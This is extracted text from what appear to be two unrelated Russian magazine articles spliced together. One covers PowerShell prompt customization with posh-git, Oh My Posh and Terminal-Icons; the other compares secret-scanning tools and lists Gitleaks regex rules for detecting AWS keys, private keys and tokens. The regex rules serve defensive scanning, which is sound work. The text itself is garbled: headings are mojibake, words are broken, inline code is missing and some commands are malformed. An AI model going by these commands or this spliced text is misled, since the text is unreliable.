notepad (Get-PSReadLineOption).HistorySavePath 

ÈÍÒÅÃÐÀÖÈß Ñ GIT: ÌÎÄÓËÜ POSH-GIT

Сис тема управле ния вер сиями Git — сов ремен ный стан дарт для хра нения
кода и обме на им, ею поль зуют ся прак тичес ки все раз работ чики.

Для интегра ции Git и PowerShell слу жит . Пос ле уста нов ки
это го модуля в приг лашении коман дной стро ки будет отоб ражать ся
информа ция о сос тоянии текуще го Git-репози тория, а коман ды и парамет ры
Git мож но будет авто мати чес ки допол нять при вво де по нажатию кла виши
Tab.

мо дуль posh-git

Пе ред тем как уста нав ливать posh-git, убе дись, что сис тема Git уста нов- 
лена и дос тупна в обо лоч ке PowerShell. Для это го в кон соли PowerShell нуж но
выпол нить коман ду , которая дол жна вывес ти информа цию
о вер сии Git:

git --version

PS C:\Users\andrv> git --version 
git version 2.28.0.windows.1 

Ус танав лива ется posh-git стан дар тным обра зом с помощью коман дле та
:Install-Module

PS C:\Users\andrv> Install-Module posh-git -Scope CurrentUser -Force 

Пос ле уста нов ки нуж но импорти ровать из posh-git все коман ды:

PS C:\Users\andrv> Import-Module posh-git 

Ко ман ду для импорта надо помес тить в свой про филь (сце нарий, путь
к которо му хра нит ся в перемен ной ) для авто мати чес кого выпол- 

нения при каж дом запус ке обо лоч ки. Для это го мож но открыть сце нарий про- 
филя в блок ноте (коман да ) и добавить туда нуж ную коман- 

ду или прос то выпол нить коман ду  из модуля posh-git.

$PROFILE

notepad $PROFILE
Add-PoshGitToProfile

Что бы уви деть изме нения в коман дной стро ке, надо вой ти в каталог, явля- 
ющий ся Git-репози тори ем. Соз дадим новый каталог , а в нем —

новый репози торий Git:

git-test

PS C:\Users\andrv> mkdir git-test 

 

 

Каталог: C:\Users\andrv 

Mode                 LastWriteTime         Length Name 
----                 -------------         ------ ---- 
d-----        03.10.2021     10:04                git-test 

PS C:\Users\andrv> cd git-test 
PS C:\Users\andrv\git-test> git init
PS C:\Users\andrv\git-test [master]> 

В приг лашении коман дной стро ки пос ле пути к текуще му катало гу в квад- 
ратных скоб ках теперь выводит ся информа ция о сос тоянии Git-репози тория.
Пока мы видим толь ко имя  текущей вет ки, так как фай лов в рабочем

катало ге нет:

master

    PS C:\Users\andrv\git-test [master]> git status
  On branch master

  No commits yet

   nothing to commit (create/copy files and use "git add" to track)

Продолжение статьи →

mailto:andpop@mail.ru
https://bhv.ru/product/sovremennyj-powershell-2-e-izdanie/?utm_source_bhv_sale=xakep_ps
https://github.com/dahlbyk/posh-git
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Соз дадим три новых фай ла:

 

 

PS C:\Users\andrv\git-test [master]> New-Item file1.txt, file2.txt, 
file3.txt -ItemType File 

Каталог: C:\Users\andrv\git-test 

Mode                 LastWriteTime         Length Name 
----                 -------------         ------ ---- 
-a----        03.10.2021     10:28              0 file1.txt 
-a----        03.10.2021     10:28              0 file2.txt 
-a----        03.10.2021     10:28              0 file3.txt 

PS C:\Users\andrv\git-test [master +3 ~0 -0 !]> 

В под сказ ке о сос тоянии репози тория появи лись новые дан ные: вос кли- 
цатель ный знак ука зыва ет на то, что в рабочем катало ге есть фай лы, которые
не добав лены в индекс Git, а чис ло пос ле зна ка  показы вает количес тво

таких фай лов.

+

До бавим файл  в индекс Git:file1.txt

PS C:\Users\andrv\git-test [master +3 ~0 -0 !]> git add file1.txt 
PS C:\Users\andrv\git-test [master +1 ~0 -0 | +2 ~0 -0 !]> 

Те перь в под сказ ке ука зана информа ция о фай лах в индексе Git (сле ва
от раз делите ля ) и о фай лах в рабочем катало ге (спра ва от раз делите ля ).
В нашем слу чае в индексе находит ся один новый файл (чис ло пос ле зна ка ),

а в рабочем катало ге оста лись два новых фай ла.

| |
+

Из меним файл , добавив в него стро ку:file1.txt

PS C:\Users\andrv\git-test [master +1 ~0 -0 | +2 ~0 -0 !]> "Hello!" >
> file1.txt 
PS C:\Users\andrv\git-test [master +1 ~0 -0 | +2 ~1 -0 !]> 

Как видим, в сек ции рабоче го катало га пос ле зна ка  теперь ука зана еди- 

ница — это количес тво изме нен ных фай лов в рабочем катало ге.

~

До бавим в индекс Git файл :file2.txt

PS C:\Users\andrv\git-test [master +1 ~0 -0 | +2 ~1 -0 !]> git add 
file2.txt 
PS C:\Users\andrv\git-test [master +2 ~0 -0 | +1 ~1 -0 !]> 

Те перь в индексе два новых фай ла ( ), в рабочем катало ге один новый файл
( ) и один изме нен ный файл ( ).

+2
+1 ~1

Уда лим файл  из рабоче го катало га:file2.txt

PS C:\Users\andrv\git-test [master +2 ~0 -0 | +1 ~1 -0 !]> Remove-
Item file2.txt 
PS C:\Users\andrv\git-test [master +2 ~0 -0 | +1 ~1 -1 !]> 

Ин форма ция о фай лах в индексе не изме нилась ( ), а в рабочем
катало ге теперь один новый файл ( ), один изме нен ный файл ( ) и один

уда лен ный файл ( ).

+2 ~0 -0
+1 ~1

-1
Соз дадим ком мит (зафик сиру ем изме нения в репози тории), в который

вой дут фай лы  и  из индекса:file1.txt file2.txt

 

 

PS C:\Users\andrv\git-test [master +2 ~0 -0 | +1 ~1 -1 !]> git commit -
m "First commit" 
[master (root-commit) b22296c] First commit 
 2 files changed, 0 insertions(+), 0 deletions(-) 
 create mode 100644 file1.txt 
 create mode 100644 file2.txt 
PS C:\Users\andrv\git-test [master +1 ~1 -1 !]> 

Пос ле ком мита индекс Git очис тился и в под сказ ке о сос тоянии репози тория
оста лась толь ко информа ция о фай лах в рабочем катало ге.

До бавим в индекс все фай лы из рабоче го катало га:

PS C:\Users\andrv\git-test [master +1 ~1 -1 !]> git add . 
PS C:\Users\andrv\git-test [master +1 ~1 -1 ~]> 

Ин дикатор сос тояния репози тория изме нил ся со зна ка  на знак , озна- 

чающий, что в репози тории есть незаком мичен ные изме нения:

! ~

 

 

PS C:\Users\andrv\git-test [master +1 ~1 -1 ~]> git status 
On branch master 
Changes to be committed: 
  (use "git restore --staged <file>..." to unstage) 
        modified:   file1.txt 
        deleted:    file2.txt 
        new file:   file3.txt 

PS C:\Users\andrv\git-test [master +1 ~1 -1 ~]> 

Та ким обра зом, под сказ ка в приг лашении коман дной стро ки помога ет быс- 
тро понять, в каком сос тоянии находит ся Git-репози торий. Для более наг- 
лядно го пред став ления этой информа ции мож но изме нить тему офор мле ния
кон соли с помощью модуля Oh My Posh.

ÎÔÎÐÌËßÅÌ ÏÐÈÃËÀØÅÍÈÅ ÊÎÌÀÍÄÍÎÉ ÑÒÐÎÊÈ: ÌÎÄÓËÜ OH
MY POSH

Де кори ровать кон соль PowerShell мож но с помощью нас тра иваемых тем
офор мле ния, которые пред лага ет модуль Oh My Posh. С треть ей вер сии этот
модуль стал кросс-плат формен ным, и его мож но при менять как в Windows,
так и в macOS и Linux.

В темах Oh My Posh исполь зуют ся раз личные знач ки, которые отоб ража- 
ются с помощью шриф тов Powerline с гли фами. Поэто му такие шриф ты нуж но
пред варитель но уста новить в опе раци онную сис тему и под клю чить их в тер- 
минале.

Óñòàíîâêà øðèôòîâ Powerline
В темах Oh My Posh рекомен дует ся исполь зовать шриф ты NerdFonts, которые
мож но ска чать, нап ример, с сай та GitHub:

PS C:\Users\andrv> Invoke-WebRequest -Uri 'https://github.com/
ryanoasis/nerd-fonts/releases/download/v2.1.0/CascadiaCode.zip' -
OutFile .\nf_fonts.zip 

С помощью коман ды  рас паку ем заг ружен ный архив

в каталог NerdFonts:

Expand-Archive

PS C:\Users\andrv> Expand-Archive .\nf_fonts.zip -DestinationPath .\
NerdFonts 

Для уста нов ки шриф тов в сис тему откро ем в про вод нике Windows пап ку
 с заг ружен ными шриф тами, выделим в ней все TTF-фай лы, щел- 

кнем на выделе нии пра вой кноп кой мыши и в кон текс тном меню выберем
пункт «Уста новить для всех поль зовате лей». Пос ле это го заг ружен ный архив
и каталог с его содер жимым мож но уда лить:

NerdFonts

PS C:\Users\andrv> Remove-Item .\nf_fonts.zip 
PS C:\Users\andrv> Remove-Item .\NerdFonts -Recurse 

Пос ле уста нов ки заг ружен ных шриф тов нуж но наз начить шрифт
 в качес тве шриф та для про филя Windows PowerShell

в тер минале Windows. Это мож но сде лать на вклад ке Appearance в нас трой- 
ках про филя Windows PowerShell.

CaskaydiaCove NF

Нас трой ка шриф та для про филя PowerShell в тер минале Windows

Óñòàíîâêà ìîäóëÿ Oh My Posh
Мо дуль Oh My Posh уста нав лива ется стан дар тно:

PS C:\Users\andrv> Install-Module oh-my-posh -Scope CurrentUser -
Force 

Мо дуль доволь но объ емный, уста нов ка его может занять про дол житель ное
вре мя.

Пос ле уста нов ки с помощью коман ды  мож но пос мотреть

все стан дар тные встро енные темы офор мле ния, которые под держи вает Oh
My Posh.

Get-PoshThemes

Те мы офор мле ния модуля Oh My Posh

Ус тановить пон равив шуюся тему мож но с помощью коман ды 

, ука зав наз вание темы в качес тве зна чения парамет ра .
Нап ример, выберем тему  и перей дем в каталог , явля- 

ющий ся репози тори ем Git.

Set-
PoshPrompt -Theme

agnoster git-test

Ус танов ка темы офор мле ния agnoster

Те перь в приг лашении коман дной стро ки отоб ража ются име на поль зовате ля
и компь юте ра, путь к текуще му катало гу от домаш него катало га и имя текущей
вет ки в Git-репози тории.

Для авто мати чес кого при мене ния выб ранной схе мы при заг рузке
PowerShell нуж но добавить коман ду 

в про филь PowerShell (напом ню, что путь к про филю хра нит ся в перемен ной
).

Set-PoshPrompt -Theme agnoster

$PROFILE
По умол чанию в теме  отклю чен вывод под робной информа ции

о сос тоянии Git-репози тория, которую пре дос тавля ет модуль . Что- 

бы вклю чить эту информа цию, в кон фигура цион ный JSON-файл с нас трой- 
ками темы нуж но внес ти изме нения, опи сан ные в 

.

agnoster
posh-git

до кумен тации модуля Oh
My Posh

Путь к катало гу с темами мож но пос мотреть в кон це вывода коман ды 

.

Get-
PoshThemes

Путь к катало гу с темами Oh My Posh

Вы пол нив коман ду  для это го катало га, мы по наз ванию схе мы узна ем имя

соот ветс тву юще го кон фигура цион ного фай ла (для нашей схе мы 
это файл ). Его нуж но открыть в тек сто вом редак торе

и добавить в раз дел, свя зан ный с Git, параметр :

dir
agnoster

agnoster.omp.json
"properties"

{ "display_status": true }:
{
 "type": "git",
 "style": "powerline",
 "powerline_symbol": "\uE0B0",
 "foreground": "#193549",
 "background": "#95ffa4",
 "properties": {
   "display_status": true
 }

}

Пос ле сох ранения кон фигура цион ного фай ла и переза пус ка обо лоч ки мы
в приг лашении коман дной стро ки уви дим информа цию о ста тусе фай лов
в рабочем катало ге и индексе Git.

Ин форма ция о сос тоянии фай лов в Git-репози тории для темы agnoster

ÎÔÎÐÌËßÅÌ ÑÏÈÑÊÈ ÔÀÉËÎÂ È ÊÀÒÀËÎÃÎÂ: ÌÎÄÓËÜ
TERMINAL-ICONS

Ра ботая в коман дной стро ке, мы час то с помощью коман ды 

(псев донимы  и ) прос матри ваем спис ки фай лов и катало гов. Модуль
Terminal-Icons дела ет эти спис ки более наг лядны ми, выделяя раз личные типы
фай лов раз ным цве том и добав ляя к наз вани ям фай лов соот ветс тву ющие
знач ки.

Get-ChildItem
dir ls

Ус тановим и импорти руем модуль Terminal-Icons:

PS C:\Users\andrv> Install-Module Terminal-Icons -Scope CurrentUser -
Force 
PS C:\Users\andrv> Import-Module Terminal-Icons 

Те перь спи сок фай лов и катало гов выг лядит нам ного инте рес нее.

Спи сок фай лов и катало гов пос ле под клю чения модуля Terminal-Icons

Ес ли тебе пон равил ся такой фор мат отоб ражения фай лов и катало гов, то
коман ду импорти рова ния модуля Terminal-Icons сле дует добавить в про филь
PowerShell (напом ню, что путь к про филю хра нит ся в перемен ной ).$PROFILE

ÂÛÂÎÄÛ

Мы рас смот рели раз личные спо собы нас трой ки PowerShell для повыше ния
про дук тивнос ти и ком форта работы. Исполь зование модуля PSReadLine поз- 
воля ет не толь ко уско рить работу с коман дами, но и добавить интеллек туаль- 
ные фун кции авто допол нения, что осо бен но важ но при написа нии слож ных
и длин ных команд. Интегра ция с сис темами кон тро ля вер сий через posh-git
обес печива ет наг лядное пред став ление текуще го сос тояния Git-репози тори- 
ев пря мо в коман дной стро ке, что удоб но как для раз работ чиков, так и для
сис темных адми нис тра торов.

Нас трой ка визу аль ной сос тавля ющей с исполь зовани ем Oh My Posh
и Terminal-Icons не толь ко улуч шает внеш ний вид тер минала, но и помога ет
мгно вен но ори енти ровать ся в фай ловой сис теме, добав ляя цве товые мет ки
к объ ектам.

Каж дый из пред ложен ных инс тру мен тов мож но адап тировать под свой
стиль работы, делая вза имо дей ствие с сис темой и эффектив ным, и эсте- 
тичес ки при ятным.

https://ohmyposh.dev/docs/
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АДМИН

Пред ставь, что код — это тай ник, но вмес то
золота там лежат твои пароли, клю чи
от сер веров и про чая кон фиден циаль ная
инфа. Но однажды ты слу чай но оста вил его
откры тым, и теперь любой жела ющий
может заб рать все, что захочет. Так себе
пер спек тивка, вер но? Поиск сек ретов
как раз то, что поможет най ти и зак рыть
такие дыры. В сегод няшней статье обсу- 
дим, как этот поиск авто мати зиро вать.

По иск сек ретов (Secrets Detection) — это про цесс обна руже ния и уда ления
так называ емых чувс тви тель ных дан ных: паролей, клю чей API, токенов дос- 
тупа, нас тро ек, которые могут слу чай но ока зать ся в исходном коде, кон- 
фигура цион ных фай лах или дру гих арте фак тах раз работ ки. Такие лазей ки
дают зло умыш ленни ку лег кий дос туп к важ ным сис темам и сер висам, что при- 
ведет к утеч ке дан ных или пол ной ком про мета ции.

Кста ти, мно гие отрасли тре буют соб людения стро гих стан дартов безопас- 
ности: GDPR, HIPAA, PCI DSS и дру гих. Поиск и защита сек ретов — одна
из сос тавля ющих соот ветс твия этим стан дартам.

ÊÀÊÈÅ ÌÅÒÎÄÛ ÀÂÒÎÌÀÒÈÇÀÖÈÈ ÂÛÁÐÀÒÜ?

Ис кать сек реты вруч ную — все рав но что про сеивать песок в поис ках кру пицы
золота. Поэто му авто мати зация — единс твен ное надеж ное решение. Искать
сек реты на потоке мож но, нап ример, с помощью регуляр ных выраже ний
или путем ана лиза энтро пии. У каж дого из под ходов — свои плю сы и минусы.

Ðåãóëÿðíûå âûðàæåíèÿ
Ре гуляр ные выраже ния (regular expressions, regex, регуляр ки) — это мощ ный
инс тру мент для манипу ляций с тек стом, исполь зующий спе циаль ный син- 
таксис шаб лонов, что бы искать, менять и вытас кивать дан ные.

Сре ди плю сов:
1. Точ ность и воз можность тон кого кон тро ля. Мы можем задавать любые

спе цифи чес кие пат терны для обна руже ния строк, что миними зиру ет
количес тво лож ных сра баты ваний. Это осо бен но полез но для поис ка кон- 
крет ных типов сек ретов, таких как клю чи API, пароли и токены дос тупа.

2. Гиб кость. Пос коль ку регуляр ные выраже ния под держи вают слож ные шаб- 
лоны, мы можем искать самую раз ную инфу, вклю чая email-адре са, IP-
адре са, номера кре дит ных карт и любую дру гую чувс тви тель ную информа- 
цию.

3. Прос тота внед рения. Мно гие сре ды раз работ ки и редак торы кода име ют
встро енную под дер жку regex, так же есть биб лиоте ки поч ти для любых язы- 
ков прог рамми рова ния. Это поз воля ет лег ко интегри ровать регуляр ки
в любой про ект.

4. Ав томати зация. С исполь зовани ем сис тем CI/CD regex мож но нас тро ить
для авто мати чес кого ска ниро вания кода при каж дом ком мите, что помога- 
ет быс тро обна ружи вать и устра нять уяз вимос ти. Некото рые инс тру мен ты,
нап ример Gitleaks, поз воля ют исполь зовать pre-commit hook, что повыша- 
ет уро вень защиты от уте чек.

Так в чем под вох? Если все так прек расно, то зачем вооб ще исполь зовать
что-то еще? Дело в том, что у это го метода так же есть и минусы.
1. За виси мость от шаб лонов. Регуляр ки эффектив ны толь ко для поис ка

извес тных шаб лонов и могут про пус кать сек реты, которые им не соот ветс- 
тву ют. Если фор мат меня ется или исполь зует ся уни каль ный, то инс тру мент
на базе регуляр ных выраже ний может ничего не обна ружить.

2. Слож ность соз дания регуляр ных выраже ний и управле ния ими. Написа ние
эффектив ных и безопас ных регуля рок может быть неп ростой задачей,
осо бен но для нес тандар тных шаб лонов.

3. Лож ные сра баты вания. Если шаб лон слиш ком общий, он обна ружи вает
стро ки, которые не явля ются сек ретами. Поэто му филь тро вать и ана лизи- 
ровать при дет ся допол нитель но и уже руч ками.

4. Про изво дитель ность. Слож ные регуляр ные выраже ния могут мед ленно
работать на боль ших фай лах или мно жес тве фай лов.

Àíàëèç ýíòðîïèè
По мимо регуляр ных выраже ний, при поис ке сек ретов при меня ют еще один
эффектив ный метод — ана лиз энтро пии. Для начала давай раз берем
основные тер мины.

Эн тро пия — это показа тель, который поз воля ет оце нить сте пень слу чай- 
нос ти или, наобо рот, пред ска зуемос ти дан ных. В кон тек сте поис ка сек ретов
в коде он помога ет выделить фраг менты, которые отли чают ся от осталь ного
тек ста по сво ей струк туре и, воз можно, содер жат скры тую информа цию,
такую как пароли, клю чи или токены. Чем выше энтро пия, тем более слу чай- 
ная и неп ред ска зуемая стро ка.

Для рас чета энтро пии стро ки есть матема тичес кая фор мула Кло да Шен- 
нона. Общий про цесс вычис ления энтро пии выг лядит так:
1. : сна чала берет ся стро ка из кода или фай ла, нап ример

.
×òå íèå ñòðî êè

a9$L2@xZ

2. : под счи тыва ется количес тво каж дого сим вола

в стро ке.

Ïîä ñ÷åò ñèì âîëîâ

3. : опре деля ется, как час то каж дый сим вол

появ ляет ся в стро ке. Нап ример,  встре чает ся один раз из вось ми сим- 
волов.

Âû ÷èñ ëåíèå âåðî ÿòíîñòè

a

4. .Ðàñ ÷åò ýíòðî ïèè

где
H(X) — энтро пия стро ки X;•
P(x ) — веро ятность появ ления сим вола x ;• i i

n — количес тво уни каль ных сим волов в стро ке.•

Сек реты, такие как пароли или клю чи API, час то име ют высокую энтро пию,
потому что они соз даны для безопас ности и содер жат мно го слу чай ных сим- 
волов. Ана лиз энтро пии помога ет обна ружи вать такие стро ки в коде, пос- 
коль ку обыч ный текст (нап ример, ком мента рии или обыч ные перемен ные)
чаще все го име ет низ кую энтро пию.

Пос ле вычис ления энтро пии уста нав лива ется некий порог, выше которо го
все стро ки счи тают ся потен циаль ными сек ретами. Он зависит от кон крет ной
сре ды и типов дан ных, но час то выбира ется эмпи ричес ки. Даль ше надо филь- 
тро вать и ана лизи ровать най ден ные стро ки.

А теперь о пре иму щес твах и недос татках это го метода. Пре иму щес тва:
1. Об наруже ние неиз вес тных шаб лонов. Исполь зование энтро пии поз воля ет

выяв лять слу чай ные стро ки, которые могут не соот ветс тво вать извес тным
шаб лонам сек ретов.

2. Ав томати чес кое обновле ние. Метод не тре бует пос тоян ного обновле ния
пра вил или шаб лонов при изме нении фор мата сек ретов.

3. Ши рокий охват. Мож но выяв лять раз ные типы сек ретов без соз дания спе- 
цифи чес ких шаб лонов.

Ана лиз энтро пии удоб ный, но не иде аль ный метод. Вот какие у него есть
минусы:
1. Лож ные сра баты вания. Увы, пока что не сущес тву ет ни одно го метода

без это го косяка. Высокая энтро пия может быть у строк, которые не явля-
ются сек ретами (нап ример, хеши, слу чай ные дан ные), что при водит к лож-
ным сра баты вани ям.

2. Слож ность нас трой ки. Спо соб тре бует тща тель ной нас трой ки порогов
энтро пии, что бы сба лан сировать точ ность и количес тво лож ных сра баты- 
ваний.

3. Про изво дитель ность. Ана лиз энтро пии может быть вычис литель но зат- 
ратным, осо бен но для боль ших объ емов дан ных.

Как видишь, слож ность нас трой ки и зат рата ресур сов — неиз бежные минусы
в любом слу чае. Но детали могут отли чать ся в зависи мос ти от реали зации
того и дру гого метода.

ÊÀÊÈÅ ÅÑÒÜ ÈÍÑÒÐÓÌÅÍÒÛ?

По иск сек ретов — один из про цес сов раз работ ки безопас ного прог рам мно- 
го обес печения. По ГОСТ 56939 здесь мы так же можем исполь зовать инс тру- 
мен ты ста тичес кого ана лиза. Одна ко прак тика показы вает, что его качес тво
оставля ет желать луч шего. Поэто му в рам ках иссле дова ния рас смот рим три
инс тру мен та:

Gitleaks;•
TruffleHog;•
Detect Secrets.•

 — это инс тру мент для обна руже ния сек ретов пре иму щес твен но
в репози тори ях Git, но при нор маль ной нас трой ке он так же может ска ниро- 
вать локаль ные исходные дан ные. Этот инс тру мент исполь зует как регуляр- 
ные выраже ния, так и ана лиз энтро пии для поис ка кон фиден циаль ной инфы,
что дела ет его неверо ятно полез ным для пре дот вра щения уте чек информа- 
ции.

Gitleaks

Gitleaks под держи вает мно жес тво шаб лонов для раз ных сек ретов, име ет
воз можность гиб кой нас трой ки — поль зователь сам может редак тировать
пра вила и шаб лоны для более точ ного обна руже ния. Gitleaks лег ко интегри- 
рует ся с пай плай нами CI/CD, обес печивая авто мати чес кое ска ниро вание
на эта пе раз работ ки. А еще он бес плат ный и у него активное сооб щес тво, что
спо собс тву ет его раз витию и улуч шению. Но здесь есть недос таток: ана лиз
энтро пии не всег да может быть точ ным и тре бует тща тель ной нас трой ки
порогов.

 находит сек реты в репози тори ях Git и дру гих сис темах кон тро- 

ля вер сий. Он при меня ет регуляр ные выраже ния для обна руже ния извес тных
типов сек ретов, а до вер сии 3 вклю чал и ана лиз энтро пии. Нес мотря
на некото рые огра ниче ния, такие как про изво дитель ность и лож ные сра баты- 
вания, TruffleHog оста ется популяр ным выбором бла года ря прос тоте исполь- 
зования.

TruffleHog

Пос ледний в нашем обзо ре — . Что бы обна ружить сек- 
ретную информа цию, он исполь зует ком бинацию регуляр ных выраже ний,
ана лиза энтро пии и спец пла гинов. Бла года ря сво ей гиб кости и воз можнос ти
интегра ции с CI/CD Detect Secrets поль зует ся популяр ностью сре ди раз- 
работ чиков и спе циалис тов по безопас ности. Но имей в виду: что бы все
работа ло эффектив но, при дет ся попотеть на эта пе нас трой ки и филь тра ции
лож ных сра баты ваний.

Detect Secrets

ÊÐÀÒÊÀß ÕÀÐÀÊÒÅÐÈÑÒÈÊÀ ÁÀÇÎÂÛÕ ÈÍÑÒÐÓÌÅÍÒÎÂ
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В ПОИСКАХ СЕКРЕТОВ
ИСПОЛЬЗУЕМ СИЛУ РЕГУЛЯРОК

ПРИ АТАКЕ И ЗАЩИТЕ

АДМИН  НАЧАЛО СТАТЬИ←

ÎÖÅÍÈÂÀÅÌ ÝÔÔÅÊÒÈÂÍÎÑÒÜ ÈÍÑÒÐÓÌÅÍÒÎÂ ÍÀ ÏÐÀÊÒÈÊÅ

У каж дого из этих инс тру мен тов свои тест-кей сы, но мы наш ли кое-что поин- 
терес нее. Тес тировать будем на OWASP WrongSecrets. Этот про ект пре дос- 
тавля ет инте рак тивную плат форму, где раз работ чики и спе циалис ты
по безопас ности могут учить ся на прак тике, как пра виль но хра нить сек реты,
такие как API-клю чи, пароли, токены дос тупа и кон фиден циаль ные дан ные,
и управлять ими. Он спе циаль но соз дан для демонс тра ции неп равиль ного
обра щения с сек ретами в при ложе ниях и для обу чения луч шим прак тикам их
защиты. Это дела ет его иде аль ной тес товой сре дой инс тру мен тов, пред- 
назна чен ных для поис ка и управле ния сек ретами.

Пос мотрим, что най дут инс тру мен ты, если мы не будем тро гать нас трой ки
по умол чанию.

Gitleaks
• Про ект на GitHub

Для запус ка инс тру мен та исполь зовалась сле дующая коман да:

  
docker run -v /путь/до/wrongsecrets-master/:/path zricethezav/
gitleaks:latest detect --no-git --source="/path" -r="/path/
gitleaks_report.json"

Здесь пап ка с исходни ками локаль ная, поэто му исполь зует ся ключ .

В резуль тате ска ниро вания мы получи ли файл ,

содер жащий 20 най ден ных сек ретов. Из них 9 сек ретов приз наны лож но
положи тель ными.

--no-git
gitleaks_report.json

Для чис тоты экспе римен та запус тим стан дар тное ска ниро вание, но с кон- 
фигура цион ным фай лом, который пред лага ют раз работ чики Gitleaks:

  
docker run -v /исходная/директория:/path zricethezav/gitleaks:latest 
detect --no-git --config="/path/gitleaks.toml" --source="/path/
wrongsecrets-master -r="/path/gitleaks_report.json""

И сно ва получим 20 най ден ных сек ретов, из которых 9 — лож ные сра баты- 
вания.

TruffleHog
• Про ект на GitHub

Этот инс тру мент запус кался сле дующей коман дой:

run    --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest 
filesystem /pwd/wrongsecrets-master/ > trufflehog_local_report.txt 

По лучен ный файл  не содер жал ни одно го
най ден ного сек рета! В свя зи с этим приш лось выпол нить ряд манипу ляций:

trufflehog_local_report.txt

1. Соз дать кон фигура цион ный файл  для более
обширно го и точ ного ана лиза.

trufflehog_config.toml

2. Добавить клю чи:  (вклю чает режим отладки для получе ния более
под робной информа ции о про цес се ска ниро вания),  (вклю чает
более под робный уро вень отладки, который может помочь понять, что
имен но ска ниру ется и какие дей ствия выпол няют ся),  (вклю чает
вывод резуль татов в фор мате JSON, что удоб но для пос леду юще го ана- 
лиза).

--debug

--trace

--json

3. Изу чить резуль таты.

Пол ная коман да для запус ка в этом слу чае выг лядела так:

     

  

docker run --rm -it -v "$PWD:/pwd" -v "$PWD/trufflehog_config.toml:/
config/trufflehog_config.toml" trufflesecurity/trufflehog:latest 
filesystem /pwd/wrongsecrets-master/ --debug --trace --json

При этом уда лось най ти лишь один сек рет. Ока залось, что TruffleHog
не может пра виль но обра баты вать некото рые дан ные и в ито ге про пус кает
важ ные сек реты. Так что он подой дет для репози тори ев и тек сто вых фай лов,
но дан ные дру гих типов ска ниро вать им поч ти бес полез но.

В общем, TruffleHog име ет слиш ком мно го огра ниче ний, а зна чит, выбыва- 
ет из нашей гон ки.

Detect Secrets
• Про ект на GitHub

За пус кает ся инс тру мент сле дующей коман дой:

detect-secrets scan --all-files ./wrongsecrets-master/ > detect_sec.
txt 

По лучен ный файл  содер жал 66 сек ретов. Из них под- 
твержде ны 42.

detect_sec.txt

Та ким обра зом, при при мене нии стан дар тных нас тро ек пред став ленных
инс тру мен тов луч ше все го себя показа ли Detect Secrets и Gitleaks.

Те перь запус тим инс тру мен ты на том же тес товом при мере, но пол ностью
отклю чим ана лиз энтро пии.

Нач нем с Detect Secrets. Его исполь зуют для ана лиза пла гинов и филь- 
тров. Филь тры при меня ются для умень шения лож ных сра баты ваний и отсе- 
ивают потен циаль ные сек реты по опре делен ным кри тери ям, преж де чем
резуль таты будут про вере ны пла гина ми. Пла гины — это и есть основные нас- 
трой ки, каж дая из которых спе циали зиру ется на поис ке опре делен ного типа
сек ретов в фай лах. Есть воз можность написать собс твен ный филь тр и под- 
клю чить его к ска ниро ванию. Для прос мотра спис ка пла гинов есть коман да:

detect-secrets scan --list-all-plugins

В резуль тате мы получим все исполь зуемые в ска ниро вании пла гины. Те, что
отве чают за ана лиз энтро пии, носят наз вания Base64HighEntropyString
и HexHighEntropyString. Их нам и надо отклю чить для ана лиза. Запус тим ска- 
ниро вание:

 detect-secrets scan --all-files --disable-plugin 
Base64HighEntropyString --disable-plugin HexHighEntropyString ./
wrongsecrets-master > ./detect_sec_no_entropy.txt 

По луча ем файл, содер жащий 42 сек рета. Из которых толь ко 23 — истинные.
Таким обра зом, мы вылови ли куда мень ше уте чек, чем в пре дыду щем ска- 
ниро вании.

Те перь напишем regex-пра вила в фор мате TOML для Gitleaks. Пусть у нас
будет такой базовый набор:

  title = "Enhanced Gitleaks Configuration"
  version = 2

[[rules]]
  id = "AWS Access Key"

  description = "AWS Access Key"
  regex = '''AKIA[0-9A-Z]{16}'''

   tags = ["key", "AWS"]

[[rules]]
  id = "AWS Secret Key"

  description = "AWS Secret Key"
  regex = '''(?i)aws(.{0,20})?['"][0-9a-zA-Z\/+]{40}['"]'''

   tags = ["key", "AWS"]

[[rules]]
  id = "Google API Key"

  description = "Google API Key"
  regex = '''AIza[0-9A-Za-z-_]{35}'''

   tags = ["key", "Google"]

[[rules]]
  id = "Slack Token"

  description = "Slack Token"
  regex = '''xox[baprs]-([0-9a-zA-Z]{10,48})'''

   tags = ["token", "Slack"]

[[rules]]
  id = "SSH Private Key"

  description = "SSH Private Key"
  regex = '''-----BEGIN (RSA|DSA|EC|OPENSSH|PGP) PRIVATE KEY-----'''

   tags = ["key", "SSH"]

[[rules]]
  id = "Generic API Key"

  description = "Generic API Key"
  regex = '''(?i)(

apikey|api_key|secret_key|client_secret|access_token)[\s]*[=:][\s]*[
'"]?[A-Za-z0-9\/+=-_]{32,64}['"]?'''

   tags = ["key", "API"]

[[rules]]
  id = "Generic Secret"

  description = "Generic Secret"
  regex = '''(?i)(secret|password|pwd|token|key|auth)[\s]*[=:][\s]*['"]

?[A-Za-z0-9\/+=-_]{8,128}['"]?'''
  tags = ["secret"]

[[rules]]
  id = "Database Connection String"

  description = "Database Connection String"
  regex = '''(?i)(

mongodb|postgres|mysql|sqlserver|redis|couchdb|oracle):\/\/[^\s]+'''
   tags = ["database", "connection"]

[[rules]]
  id = "Google OAuth Client ID"

  description = "Google OAuth Client ID"
  regex = '''[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com'''

   tags = ["oauth", "Google"]

[[rules]]
  id = "Google OAuth Client Secret"

  description = "Google OAuth Client Secret"
  regex = '''(?i)("client_secret":\s*["'][A-Za-z0-9-_]{24}["'])'''

   tags = ["oauth", "Google"]

[[rules]]
  id = "Private Key"

  description = "Private Key"
  regex = '''-----BEGIN PRIVATE KEY-----'''

   tags = ["key", "private"]

[[rules]]
  id = "Heroku API Key"

  description = "Heroku API Key"
  regex = '''(?i)heroku[\s]*[=:][\s]*['"]?[0-9a-fA-F]{32}['"]?'''

   tags = ["key", "Heroku"]

[[rules]]
  id = "JSON Web Token"

  description = "JSON Web Token"
  regex = '''eyJ[A-Za-z0-9-_=]+\.eyJ[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]

*'''
   tags = ["token", "JWT"]

При ска ниро вании с исполь зовани ем такого набора пра вил мы получи- 
ли 78 сек ретов, из которых 46 ока зались истинны ми. Почему этот резуль тат
луч ше пре дыду щего? Да потому, что пра вила были написа ны вруч ную и охва-
тили боль шее количес тво уте чек, что, одна ко, не изба вило нас от лож ных сра- 
баты ваний.

